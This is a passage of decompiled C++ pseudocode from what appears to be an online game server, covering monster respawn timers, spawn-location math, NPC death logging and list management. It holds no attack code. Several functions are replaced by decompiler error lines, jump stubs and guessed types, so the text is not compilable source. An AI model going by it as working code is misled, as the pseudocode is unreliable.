32; do { *(_BYTE *)v3 = *(_BYTE *)(a2 - result + v3); ++v3; --v4; } while ( v4 ); return result; } //----- (0049BC70) -------------------------------------------------------- void __thiscall BriefInformationCharacter::bic_InitBriefInfo(BriefInformationCharacter *this, unsigned __int16 handle, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete) { BriefInformationCharacter *v3; // esi@1 v3 = this; PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD::operator_((int)this->bic_BriefInfo, (int)bandittemplete); v3->bic_BriefInfo->handle = handle; v3->bic_BriefInfo->type = 4; v3->bic_BriefInfo->myguild = 0; v3->bic_BriefInfo->isGuildAcademyMember = 0; } //----- (0049BCC0) -------------------------------------------------------- void __thiscall BriefInformationEffect::bie_InitBriefInfo(BriefInformationEffect *this, unsigned __int16 handle, Name8 *idx, unsigned __int16 detach, int scale, int loop) { char *v6; // eax@1 this->bie_BriefInfo->handle = handle; v6 = (char *)&this->bie_BriefInfo->effectname; *(_QWORD *)v6 = *(_QWORD *)&idx->n8_name[0]; *((_QWORD *)v6 + 1) = *(_QWORD *)&idx->n8_name[8]; *((_QWORD *)v6 + 2) = *(_QWORD *)&idx->n8_name[16]; *((_QWORD *)v6 + 3) = *(_QWORD *)&idx->n8_name[24]; this->bie_BriefInfo->detach = detach; this->bie_BriefInfo->scale = scale; this->bie_BriefInfo->flag._bf0 ^= (loop ^ this->bie_BriefInfo->flag._bf0) & 1; } //----- (0049BD40) -------------------------------------------------------- void __thiscall EventMobRegen::EventMobRegen(EventMobRegen *this) { this->baseclass_0.vfptr = (EventReserveBaseVtbl *)&EventMobRegen::_vftable_; } // 64C0C0: using guessed type int (*EventMobRegen___vftable_)(); //----- (0049BD50) -------------------------------------------------------- void __thiscall KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper(EventSaveCheck *this) { this->baseclass_0.vfptr = (EventReserveBaseVtbl *)&EventReserveBase::_vftable_; } // 63D5DC: using guessed type int (*EventReserveBase___vftable_)(); //----- (0049BD60) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_effect_EffectBlast(int pmap, int x, int y, int dir, __int16 handle, __int16 mobid, int scale) { return 1; } //----- (0049BD70) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_effect_EffectBlast(__int16 handle, int map_, int x, int y, int d, int idx, int keeptime_millisec, int scale, int loop) { return 1; } //----- (0049BD80) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_mob_Regenerate(int map_, int x, int y, int dir, __int16 handle, __int16 mobid, int bandittemplete, int regnum, int a9, int a10, int lev, char blockdata) { return 1; } //----- (0049BD90) -------------------------------------------------------- int __thiscall MobRegenClass::MobBreeder::MobBreeder(int this) { int result; // eax@1 result = this; *(_WORD *)(this + 60) = -1; *(_WORD *)(this + 6) = 0; *(_DWORD *)(this + 8) = -1; *(_DWORD *)(this + 84) = -1; *(_BYTE *)(this + 4) = 1; return result; } //----- (0049BDB0) -------------------------------------------------------- int __thiscall MobRegenClass::MobBreeder::mb_RegenWaitTime(int this) { unsigned int v1; // edx@1 int v2; // eax@2 int result; // eax@10 int v4; // edx@10 v1 = (*(_DWORD *)(this + 80) - *(_DWORD *)(this + 76)) / 0xAu; if ( (signed int)v1 >= *(_DWORD *)(this + 28) ) { if ( (signed int)v1 >= *(_DWORD *)(this + 36) ) { if ( (signed int)v1 <= *(_DWORD *)(this + 52) ) { if ( (signed int)v1 <= *(_DWORD *)(this + 44) ) v2 = 0; else v2 = *(_DWORD *)(this + 48); } else { v2 = *(_DWORD *)(this + 56); } } else { v2 = *(_DWORD *)(this + 32); } } else { v2 = *(_DWORD *)(this + 24); } result = *(_DWORD *)(this + 72) + v2; v4 = *(_DWORD *)(this + 16); if ( result >= (unsigned int)v4 && (v4 = *(_DWORD *)(this + 20), result <= (unsigned int)v4) ) { *(_DWORD *)(this + 72) = result; } else { *(_DWORD *)(this + 72) = v4; result = v4; } return result; } //----- (0049BE10) -------------------------------------------------------- void __thiscall MobRegenClass::MobRegenLoc_Circular::MobRegenLoc_Circular(MobRegenClass::MobRegenLoc_Circular *this, int x, int y, int rad) { this->mrlc_X = x; this->mrlc_Y = y; this->mrlc_Rad = rad; } //----- (0049BE30) -------------------------------------------------------- void __thiscall MobRegenClass::MobRegenLoc_Circular::mrlc_Get(MobRegenClass::MobRegenLoc_Circular *this, SHINE_XY_TYPE *loc) { unsigned int v2; // eax@1 int v3; // eax@1 unsigned int v4; // edi@1 MobRegenClass::MobRegenLoc_Circular *v5; // ebp@1 int v6; // eax@2 int v7; // ecx@4 signed int v8; // kr00_4@8 unsigned int v9; // eax@8 __int64 v10; // qax@8 int v11; // edi@8 int v12; // ebx@8 int v13; // eax@8 v2 = rndbox.rb_box[3].rs_point.mask & (rndbox.rb_box[3].rs_point.value + 1); rndbox.rb_box[3].rs_point.value = v2; v3 = rndbox.rb_box[3].rs_slot[v2]; v4 = rndbox.rb_box[64].rs_point.value; v5 = this; if ( v3 ) { v6 = v3 - 1; if ( v6 ) { if ( v6 == 1 ) { rndbox.rb_box[32].rs_point.value = rndbox.rb_box[32].rs_point.mask & (rndbox.rb_box[32].rs_point.value + 1); v7 = rndbox.rb_box[32].rs_slot[rndbox.rb_box[32].rs_point.value] + 96; } else { v7 = (int)loc; } } else { rndbox.rb_box[32].rs_point.value = rndbox.rb_box[32].rs_point.mask & (rndbox.rb_box[32].rs_point.value + 1); v7 = rndbox.rb_box[32].rs_slot[rndbox.rb_box[32].rs_point.value] + 64; } } else { v4 = rndbox.rb_box[64].rs_point.mask & (rndbox.rb_box[64].rs_point.value + 1); rndbox.rb_box[64].rs_point.value = v4; v7 = rndbox.rb_box[64].rs_slot[v4]; } v8 = v7 * v5->mrlc_Rad; v9 = rndbox.rb_box[64].rs_point.mask & (v4 + 1); rndbox.rb_box[64].rs_point.value = v9; v10 = 180 * rndbox.rb_box[64].rs_slot[v9]; v11 = ((BYTE4(v10) & 0x3F) + (signed int)v10) >> 6; v12 = v8 / 128 * ShineRadian::sr_sin1024(&shineradian, v11) / 1024; v13 = ShineRadian::sr_cos1024(&shineradian, v11); loc->x = v12 + v5->mrlc_X; loc->y = v8 / 128 * v13 / 1024 + v5->mrlc_Y; } //----- (0049BF50) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_BriefLocateSet(int this) { int v1; // eax@1 int v2; // ecx@1 char result; // al@1 v1 = *(_DWORD *)(this + 7631) + 5; v2 = this + 7647; *(_DWORD *)v2 = *(_DWORD *)v1; *(_DWORD *)(v2 + 4) = *(_DWORD *)(v1 + 4); result = *(_BYTE *)(v1 + 8); *(_BYTE *)(v2 + 8) = result; return result; } //----- (0049BF70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::sm_BriefLocateSet(ShineObjectClass::ShineBandit *this) { char *v1; // eax@1 char *v2; // ecx@1 v1 = (char *)&this->sb_MobBriefInfo.bic_BriefInfo->coord; v2 = &this->gap0[7647]; *(_DWORD *)v2 = *(_DWORD *)v1; *((_DWORD *)v2 + 1) = *((_DWORD *)v1 + 1); v2[8] = v1[8]; } //----- (0049BF90) -------------------------------------------------------- MobDataBox::MobDataBoxIndex *__thiscall ShineObjectClass::ShineMob::sm_InitBriefInfo(int this, __int16 handle, unsigned __int16 mobid, int bandittemplete) { int v4; // esi@1 MobDataBox::MobDataBoxIndex *result; // eax@1 v4 = this; **(_WORD **)(this + 7631) = handle; *(_WORD *)(*(_DWORD *)(this + 7631) + 3) = mobid; *(_BYTE *)(*(_DWORD *)(this + 7631) + 14) = 0; strncpy((char *)(*(_DWORD *)(this + 7631) + 92), byte_635E1E, 0x20u); result = MobDataBox::operator__(&mobdatabox, mobid); *(_DWORD *)(v4 + 7656) = result; return result; } //----- (0049BFF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::sm_InitBriefInfo(ShineObjectClass::ShineBandit *this, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete) { if ( bandittemplete ) BriefInformationCharacter::bic_InitBriefInfo(&this->sb_MobBriefInfo, handle, bandittemplete); } //----- (0049C010) -------------------------------------------------------- void __thiscall KQRegenTable::KQRegenTable(KQRegenTable *this) { KQRegenTable *v1; // ebp@1 int v2; // esi@1 signed int v3; // edi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x10u, 50, (void (__thiscall *)(void *))KQRegenTable::Element::Element, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = (int)&v1->kqrt_Array[0].tablename.n3_name[8]; v3 = 50; do { *(_DWORD *)(v2 + 4) = 0; *(_DWORD *)v2 = 0; *(_DWORD *)(v2 - 4) = 0; *(_DWORD *)(v2 - 8) = 0; strncpy((char *)(v2 - 8), byte_635E1E, 0xCu); v2 += 16; --v3; } while ( v3 ); v1->kqrt_Number = 0; } //----- (0049C070) -------------------------------------------------------- int __cdecl KQRegenTable::Element::Comp(const void *a, const void *b) { bool v2; // cf@1 int result; // eax@2 unsigned int v4; // edx@3 unsigned int v5; // esi@3 unsigned int v6; // eax@4 unsigned int v7; // ecx@4 v2 = *(_DWORD *)b < *(_DWORD *)a; if ( *(_DWORD *)b != *(_DWORD *)a || (v4 = *((_DWORD *)a + 1), v5 = *((_DWORD *)b + 1), v2 = v5 < v4, v5 != v4) ) { result = v2 ? 1 : -1; } else { v6 = *((_DWORD *)a + 2); v7 = *((_DWORD *)b + 2); if ( v6 <= v7 ) result = -(v6 < v7); else result = 1; } return result; } //----- (0049C0B0) -------------------------------------------------------- void __thiscall FamilyMobManagement::MobSpeciesSlot::mss_Clear(FamilyMobManagement::MobSpeciesSlot *this) { this->mss_Killed = 0; } //----- (0049C0C0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = ((signed int)((unsigned __int64)((signed int)((char *)this->_Mylast - result) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3) + ((unsigned int)((unsigned __int64)((signed int)((char *)this->_Mylast - result) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 31); return result; } //----- (0049C0E0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 6; return result; } //----- (0049C100) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 64C0C4: using guessed type int (__stdcall *List_MobRegenClass__MobBreeder____vftable_[3])(__int16 hnd); //----- (0049C120) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, #1429 *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, (const void *)ele, 0x64u); return 1; } // 49C136: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0049C160) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, #1429 *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy((void *)ele, *(const void **)v4, 0x64u); this->vfptr->l_Free(this, v3); } return 1; } //----- (0049C1B0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, #1429 *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy((void *)ele, *(const void **)v4, 0x64u); this->vfptr->l_Free(this, v3); } return 1; } //----- (0049C200) -------------------------------------------------------- char __thiscall List::l_4AllInList(List *this, char (__thiscall *func)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16)) { ListStruct *v2; // edi@0 List *v3; // esi@1 int v4; // eax@1 ListStruct *v5; // ecx@1 ListStruct *v6; // edx@2 int v7; // eax@2 char result; // al@5 v3 = this; v4 = this->l_Finger.store; v5 = this->l_Array; LOWORD(v5) = v5[v4].ls_Next; if ( (unsigned __int16)v5 >= v3->l_MaxSize ) { LABEL_5: result = 1; } else { while ( 1 ) { v6 = v3->l_Array; v7 = (unsigned __int16)v5; if ( !v6[v7].ls_IsActiv ) break; LOWORD(v2) = v6[v7].ls_Next; if ( !func(v6[v7].ls_Content, v3, (unsigned __int16)v5) ) break; v5 = v2; if ( (unsigned __int16)v2 >= v3->l_MaxSize ) goto LABEL_5; } result = 0; } return result; } //----- (0049C260) -------------------------------------------------------- void __thiscall SafePointer::SafePointer(SafePointer *this) { SafePointer *v1; // esi@1 void *v2; // eax@1 OptionReader *v3; // eax@2 v1 = this; v2 = operator new(0x10854u); if ( v2 ) { OptionReader::OptionReader((OptionReader *)v2); v1->sp_pointer = v3; } else { v1->sp_pointer = 0; } } //----- (0049C2D0) -------------------------------------------------------- void __thiscall SafePointer::_SafePointer(SafePointer *this) { void *v1; // esi@1 v1 = this->sp_pointer; if ( this->sp_pointer ) { OptionReader::_OptionReader(this->sp_pointer); operator delete(v1); } } //----- (0049C2F0) -------------------------------------------------------- void __cdecl std::fill(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Val) { FamilyMobManagement::MobSpeciesSlot *i; // eax@1 FamilyMobManagement::MobSpeciesSlot *v4; // edi@2 for ( i = _First; i != _Last; v4->mss_Killed = _Val->mss_Killed ) { v4 = i; *(_DWORD *)&i->mss_Species = *(_DWORD *)&_Val->mss_Species; ++i; } } //----- (0049C320) -------------------------------------------------------- #error "49C320: undefined or illegal type '#593' (funcsize=120)" //----- (0049C4F0) -------------------------------------------------------- #error "49C4F0: undefined or illegal type '#593' (funcsize=112)" //----- (0049C6A0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_npc_FromTable() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_npc_FromTable"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_npc_FromTable"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_npc_FromTable"); } //----- (0049C6E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::so_npc_FromTable(ShineObjectClass::ShineNPC *this) { ShineObjectClass::ShineNPC *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_npc_FromTable"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineNPC::so_npc_FromTable"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->sn_FromTable = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_npc_FromTable"); } //----- (0049C740) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::so_KilledBy(ShineObjectClass::ShineNPC *this, #593 *a2, int damage, int aggrorate, unsigned int lot_rate) { ShineObjectClass::ShineNPC *v5; // esi@1 DebugLogging *v6; // eax@2 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_KilledBy"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineNPC::so_KilledBy"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v5->sn_FromTable ) { v6 = DebugLogging::operator<<(&NPCDeadLog, "ShineObjectClass::ShineNPC::so_KilledBy : NPC from table is killed"); DebugLogging::operator<<(v6, &deb_LF); } else { ShineObjectClass::ShineMob::so_KilledBy((#593 *)v5, (int)a2, damage, aggrorate); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_KilledBy"); } //----- (0049C810) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreeder::mb_Setregentime(void *this, int sec) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_Setregentime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreeder::mb_Setregentime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 3) = sec; *((_DWORD *)v2 + 4) = sec; *((_DWORD *)v2 + 5) = sec; *((_DWORD *)v2 + 6) = sec; *((_DWORD *)v2 + 7) = sec; *((_DWORD *)v2 + 8) = sec; *((_DWORD *)v2 + 9) = sec; *((_DWORD *)v2 + 10) = sec; *((_DWORD *)v2 + 11) = sec; *((_DWORD *)v2 + 12) = sec; *((_DWORD *)v2 + 13) = sec; *((_DWORD *)v2 + 14) = sec; *((_DWORD *)v2 + 18) = *((_DWORD *)v2 + 3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_Setregentime"); } //----- (0049C890) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::_MobBreederGroup(MobRegenClass::MobBreederGroup *this) { MobRegenClass::MobBreederGroup *v1; // esi@1 void *v2; // esi@1 v1 = this; *(_DWORD *)this = MobRegenClass::MobBreederGroup::_vftable_; _eh_vector_destructor_iterator_( (char *)this + 24, 0x64u, 64, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *(_DWORD *)v1 = List::_vftable_; v2 = (void *)*((_DWORD *)v1 + 2); if ( v2 ) operator delete__(v2); } // 64C0C4: using guessed type int (__stdcall *List_MobRegenClass__MobBreeder____vftable_[3])(__int16 hnd); // 64C258: using guessed type int (__thiscall *MobRegenClass__MobBreederGroup___vftable_[3])(List *this, __int16 hnd); //----- (0049C900) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::mbg_SetRegenLoc(MobRegenClass::MobBreederGroup *this, SHINE_XY_TYPE *loc) { MobRegenClass::MobBreederGroup *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_SetRegenLoc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_SetRegenLoc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 1632) = loc->x; *((_DWORD *)v2 + 1633) = loc->y; *((_DWORD *)v2 + 1634) = 50; *((_DWORD *)v2 + 1641) = 50; *((_DWORD *)v2 + 1635) = 0; *((_DWORD *)v2 + 1636) = 0; *((_DWORD *)v2 + 1638) = 0; *((_DWORD *)v2 + 1637) = 0; *((_DWORD *)v2 + 1640) = 0; *((_DWORD *)v2 + 1639) = 0; *((_DWORD *)v2 + 1642) = 2500; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_SetRegenLoc"); } //----- (0049C9B0) -------------------------------------------------------- #error "49C9B0: undefined or illegal type '#1429' (funcsize=7)" //----- (0049C9D0) -------------------------------------------------------- void __thiscall ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(TableNameCompareArgument *this) { this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0049C9E0) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::mbg_RegenLoc(MobRegenClass::MobBreederGroup *this, SHINE_XY_TYPE *loc, int *dir) { MobRegenClass::MobBreederGroup *v3; // esi@1 int v4; // eax@1 int v5; // eax@2 int v6; // edx@2 char *v7; // eax@3 int v8; // edi@4 int v9; // ebx@4 __int64 v10; // qax@6 signed int v11; // ebp@6 SHINE_XY_TYPE *v12; // ecx@6 char result; // al@7 SHINE_XY_TYPE *v14; // [sp+10h] [bp-124h]@1 int mc; // [sp+14h] [bp-120h]@2 int v16; // [sp+18h] [bp-11Ch]@2 int v17; // [sp+1Ch] [bp-118h]@2 FunctionEntarance _; // [sp+20h] [bp-114h]@1 char groupname[256]; // [sp+24h] [bp-110h]@3 unsigned int v20; // [sp+124h] [bp-10h]@1 int v21; // [sp+130h] [bp-4h]@1 v3 = this; v20 = (unsigned int)&v14 ^ __security_cookie; v14 = loc; _.fe_FunctionCode = "MobRegenClass::MobBreederGroup::mbg_RegenLoc"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_RegenLoc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_RegenLoc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *dir = *((_DWORD *)v3 + 1643); v4 = *((_DWORD *)v3 + 1635); v21 = 0; if ( v4 ) { v7 = ORToken::ort_GetString((ORToken *)((char *)v3 + 6424), groupname); if ( *((_DWORD *)v3 + 1637) > 0 ) { v8 = rand() % (2 * *((_DWORD *)v3 + 1637)) - *((_DWORD *)v3 + 1637); v9 = rand() % (2 * *((_DWORD *)v3 + 1638)) - *((_DWORD *)v3 + 1638); } else { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::mbg_RegenLoc : Width Zero", v7); v8 = 0; v9 = 0; } v10 = v9 * *((_DWORD *)v3 + 1640) + v8 * *((_DWORD *)v3 + 1639); v11 = (WORD2(v10) & 0x3FF) + v10; LODWORD(v10) = v9 * *((_DWORD *)v3 + 1639) - v8 * *((_DWORD *)v3 + 1640); v12 = v14; v14->x = (v11 >> 10) + *((_DWORD *)v3 + 1632); v12->y = (signed int)v10 / 1024 + *((_DWORD *)v3 + 1633); } else { v5 = *((_DWORD *)v3 + 1641); v6 = *((_DWORD *)v3 + 1632); v16 = *((_DWORD *)v3 + 1633); mc = v6; v17 = v5; MobRegenClass::MobRegenLoc_Circular::mrlc_Get((MobRegenClass::MobRegenLoc_Circular *)&mc, loc); } --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_RegenLoc"); __security_check_cookie((unsigned int)&v14 ^ v20); return result; } //----- (0049CBB0) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::mbg_Set(MobRegenClass::MobBreederGroup *this, ORToken *groupname, Name3 *map_, char fam, MobRegenStruct::RegenRegion *regreg) { MobRegenClass::MobBreederGroup *v5; // esi@1 unsigned int v6; // eax@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_Set"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_Set"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_QWORD *)v5 + 803) = *(_QWORD *)&groupname->ort_Name[0]; *((_QWORD *)v5 + 804) = *(_QWORD *)&groupname->ort_Name[8]; *((_DWORD *)v5 + 1610) = *(_DWORD *)&groupname->ort_Name[16]; *((_BYTE *)v5 + 6444) = fam; *(_QWORD *)((char *)v5 + 6493) = *(_QWORD *)&map_->n3_name[0]; *(_DWORD *)((char *)v5 + 6501) = *(_DWORD *)&map_->n3_name[8]; *((_DWORD *)v5 + 1632) = regreg->rgs_CenterX; *((_DWORD *)v5 + 1633) = regreg->rgs_CenterY; *((_DWORD *)v5 + 1634) = regreg->rgs_Width; *((_DWORD *)v5 + 1635) = regreg->rgs_Height; *((_DWORD *)v5 + 1636) = regreg->rgs_Rotate; *((_DWORD *)v5 + 1644) = 0; v6 = regreg->rgs_Height; if ( v6 ) { *((_DWORD *)v5 + 1638) = v6; *((_DWORD *)v5 + 1637) = regreg->rgs_Width; *((_DWORD *)v5 + 1639) = (unsigned __int64)(cos((double)regreg->rgs_Rotate * 0.01745329) * 1024.0); *((_DWORD *)v5 + 1640) = (unsigned __int64)(sin((double)regreg->rgs_Rotate * 0.01745329) * 1024.0); } else { *((_DWORD *)v5 + 1641) = regreg->rgs_Rotate; *((_DWORD *)v5 + 1642) = regreg->rgs_Rotate * regreg->rgs_Rotate; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_Set"); } //----- (0049CD10) -------------------------------------------------------- #1429 *__thiscall MobRegenClass::MobBreederGroup::l_AllocA(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd) { List *v2; // esi@1 ORTable *v3; // esi@1 v2 = (List *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_AllocA(ListHandle hnd)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::l_AllocA(ListHandle hnd)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = List::l_AllocA(v2, hnd); if ( v3 != 0 ) { v3->ort_HeaderList.orchl_fieldname[17] = 0; v3->ort_HeaderList.orchl_fieldname[16] = 0; } else { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::l_AllocA", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_AllocA(ListHandle hnd)"); return (#1429 *)v3; } //----- (0049CDE0) -------------------------------------------------------- #1429 *__thiscall MobRegenClass::MobBreederGroup::l_AllocZ(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd) { List *v2; // esi@1 ORTable *v3; // esi@1 v2 = (List *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_AllocZ(ListHandle hnd)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::l_AllocZ(ListHandle hnd)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = List::l_AllocZ(v2, hnd); if ( v3 != 0 ) { v3->ort_HeaderList.orchl_fieldname[17] = 0; v3->ort_HeaderList.orchl_fieldname[16] = 0; } else { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::l_AllocZ", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_AllocZ(ListHandle hnd)"); return (#1429 *)v3; } //----- (0049CEB0) -------------------------------------------------------- MobRegenClass::MobBreederGroup *__thiscall MobRegenClass::MobRegenGroupList::l_AllocA(MobRegenClass::MobRegenGroupList *this, unsigned __int16 hnd) { ORTable *v2; // eax@1 MobRegenClass::MobBreederGroup *v3; // esi@1 v2 = List::l_AllocA((List *)this, hnd); v3 = (MobRegenClass::MobBreederGroup *)v2; v2[3].ort_HeaderList.orchl_fieldname[44] = 0; v2[3].ort_HeaderList.orchl_fieldname[43] = 0; v2[3].ort_HeaderList.orchl_fieldname[42] = 0; v2[3].ort_HeaderList.orchl_fieldname[41] = 0; v2[3].ort_HeaderList.orchl_fieldname[40] = 0; strncpy( (char *)&v2[3].ort_HeaderList.orchl_fieldname[40], (const char *)&stru_63450C.maa_TargetSelect.targetlist.mam_Array[8].mts_EnemyAnalyzer.baseclass_0.io_Pointer, 0x14u); return v3; } //----- (0049CEF0) -------------------------------------------------------- MobRegenClass::MobBreederGroup *__thiscall MobRegenClass::MobRegenGroupList::l_AllocZ(MobRegenClass::MobRegenGroupList *this, unsigned __int16 hnd) { ORTable *v2; // eax@1 MobRegenClass::MobBreederGroup *v3; // esi@1 v2 = List::l_AllocZ((List *)this, hnd); v3 = (MobRegenClass::MobBreederGroup *)v2; v2[3].ort_HeaderList.orchl_fieldname[44] = 0; v2[3].ort_HeaderList.orchl_fieldname[43] = 0; v2[3].ort_HeaderList.orchl_fieldname[42] = 0; v2[3].ort_HeaderList.orchl_fieldname[41] = 0; v2[3].ort_HeaderList.orchl_fieldname[40] = 0; strncpy( (char *)&v2[3].ort_HeaderList.orchl_fieldname[40], (const char *)&stru_63450C.maa_TargetSelect.targetlist.mam_Array[8].mts_EnemyAnalyzer.baseclass_0.io_Pointer, 0x14u); return v3; } //----- (0049CF30) -------------------------------------------------------- void __thiscall MobHatchery::_MobHatchery(MobHatchery *this) { void *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = *(void **)((char *)this + (_DWORD)((char *)&wholesaver + 17755968)); *(_DWORD *)((char *)this + (_DWORD)((char *)&wholesaver + 17755960)) = List::_vftable_; if ( v2 